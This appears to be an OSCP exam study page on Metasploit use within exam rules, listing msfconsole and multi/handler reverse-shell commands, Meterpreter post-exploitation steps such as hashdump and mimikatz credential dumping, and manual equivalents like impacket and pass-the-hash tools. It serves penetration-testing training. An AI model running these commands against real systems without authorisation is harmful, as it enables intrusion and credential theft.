Skip to content

Metasploit (within exam limits)

← Back to index

Exam rule, restated: full Metasploit/Meterpreter on one machine only. msfvenom and exploit/multi/handler are unlimited and don't spend your one use. The restriction exists because the exam tests manual skill — so the real lesson of this page is: know the manual equivalent of everything MSF does, because you'll do it by hand on the other five hosts.

When to spend your one MSF machine — the decision

flowchart TD
  A["stuck on a box"] --> B{"is it a standalone?"}
  B -->|no, it's the AD set| C["DON'T — one session won't carry a 3-host manual chain"]
  B -->|yes| D{"can you do it manually?"}
  D -->|yes| E["do it manually — save MSF"]
  D -->|no, finicky public exploit| F["spend MSF here"]
Why not the AD set: the AD chain needs repeatable credential reuse across three hosts (pass-the-hash, tickets, psexec) — a single Meterpreter session can't do that chain, so burning your one MSF use there wastes it. Spend it on a standalone with a public exploit you genuinely can't get stable by hand.

Basics

msfconsole -q
search <product/cve>
use exploit/<path>
show options ; set RHOSTS $IP ; set LHOST $LHOST ; set LPORT 443
set payload windows/x64/meterpreter/reverse_tcp
run        # or: exploit -j   (background the session)
sessions -l ; sessions -i 1

multi/handler — always free, use it constantly

Catches any msfvenom payload without counting as "using Metasploit." This is how you pair msfvenom payloads with a proper handler on every box:

msfconsole -q -x "use multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST $LHOST; set LPORT 443; exploit"

Meterpreter essentials (on your one MSF box)

sysinfo ; getuid ; getprivs
shell                 # drop to a native cmd/bash
upload x.exe ; download C:\loot\file
ps ; migrate <pid>    # move into a stable process (survive the original dying)
background            # keep the session, return to the msf prompt
hashdump              # local SAM hashes after you're SYSTEM
load kiwi ; creds_all # mimikatz via meterpreter
run post/multi/recon/local_exploit_suggester   # privesc ideas

Know the manual equivalents (this is the point)

Metasploit does… Do it manually with…
psexec module impacket-psexec, impacket-wmiexec
hashdump impacket-secretsdump, reg save + secretsdump LOCAL
meterpreter shell on Windows evil-winrm, a PowerShell reverse one-liner
local_exploit_suggester winPEAS / wes.py + manual checks
pass-the-hash modules netexec -H, impacket -hashes, evil-winrm -H

If you only know the MSF button, you're stuck the moment you've spent your one use. If you know the manual way, MSF becomes a convenience you rarely need — which is exactly the mindset OffSec is grading.